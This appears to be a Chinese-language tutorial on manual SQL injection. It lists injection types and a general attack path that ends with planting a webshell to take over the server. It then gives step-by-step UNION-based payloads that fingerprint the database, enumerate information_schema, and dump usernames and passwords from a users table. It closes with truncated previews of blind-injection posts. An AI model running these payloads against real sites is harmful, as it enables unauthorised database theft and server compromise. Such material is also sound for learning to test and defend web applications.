sql注入,是指攻擊者通過注入惡意的sql命令,破壞sql查詢語句的結構,從而達到執行惡意sql語句的目的。sql注入漏洞的危害是巨大的,常常會導致整個資料庫被「脫褲」,儘管如此,sql注入仍是現在最常見的web漏洞之一
sql 注入分類 按sqlmap中的分類來看,sql注入型別有以下 5 種:
union query sql injection(可聯合查詢注入)
stacked queries sql injection(可多語句查詢注入)
boolean-based blind sql injection(布林型注入)
error-based sql injection(報錯型注入)
time-based blind sql injection(基於時間延遲注入)
sql 注入常規利用思路:
1、尋找注入點,可以通過 web 掃瞄工具實現
2、通過注入點,嘗試獲得關於連線資料庫使用者名稱、資料庫名稱、連線資料庫使用者許可權、作業系統資訊、資料庫版本等相關資訊。
3、猜解關鍵資料庫表及其重要欄位與內容(常見如存放管理員賬戶的表名、欄位名等資訊)
4、可以通過獲得的使用者資訊,尋找後台登入。
5、利用後台或了解的進一步資訊,上傳 webshell 或向資料庫寫入一句話木馬,以進一步提權,直到拿到伺服器許可權。
手工注入常規思路:
注意:『#』在sql語句中表示注釋,注釋該符號之後的內容
1.判斷是否存在注入,注入是字元型還是數字型
通過輸入巢狀,判斷是字元型還是數字型,單引號還是雙引號!
1 or 1 = 1
1' or '1' = 1
1" or "1" = "1
2.猜解 sql 查詢語句中的字段數 (使用order by 判斷該表單的字段數)
1』 order by 1 #
1』 order by 2 #
1』 order by 3 #
直到得到返回提示
unknown column '3' in 'order clause'
3.確定顯示的字段順序 使用union鏈結獲取到資料庫中那些欄位在前端顯示
1『 union select 1,2 ,3,4,#
檢視1,2,3,4哪乙個位置會返回到前端頁面,
4.獲取當前資料庫(資料庫版本version()、當前使用者user()、當前所在資料庫database())
1』 union select 1,version(),user(),database() #
5.獲取資料庫中的表 (獲取當前資料庫的表)
tables表:提供了關於資料庫中的表的資訊(包括檢視)。詳細表述了某個表屬於哪個schema,表型別,表引擎,建立時間等資訊
table_schema
資料表所屬的資料庫名
table_name
表名稱
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.獲取表中的欄位名
columns表:提供了關於表中的列的資訊。詳細表述了某個列屬於哪個表
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
7.查詢到賬戶的資料
1' or 1 = 1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
SQL Injection(SQL注入)
一 sql injection的原理 sql injection的實現方法和破壞作用有很多,但萬變不離其宗,其原理可以概括為一句話 sql injection就是向伺服器端提交事先準備好的資料,拼湊出攻擊者想要的sql語句,以改變資料庫操作執行計畫。這句話主要包含這麼三層意思 1.攻擊者通過何種途徑...
時間盲注手注
基於時間的盲注 時間的概念 使用特定函式讓資料庫去執行,通過自己的設定,來檢視資料庫是否get到我們的請求 函式sleep 設定資料庫的延時或者暫停的時間 函式limit 0,1 限制第乙個的第乙個字元 函式mid 1,1 從第乙個字元開始擷取,只擷取乙個 函式benchmark 引數一,引數二 第...
布林盲注手注
布林盲注 mid str,1,3 字串擷取 意思就是把str這個字串從第乙個字串開始,擷取前三個顯示 substr 這個函式和上面的用法一樣,也是用來擷取字串的 ord 轉換成ascii碼 length 統計長度 version 是檢視資料庫版本 database 檢視當前資料庫名 user 檢視當...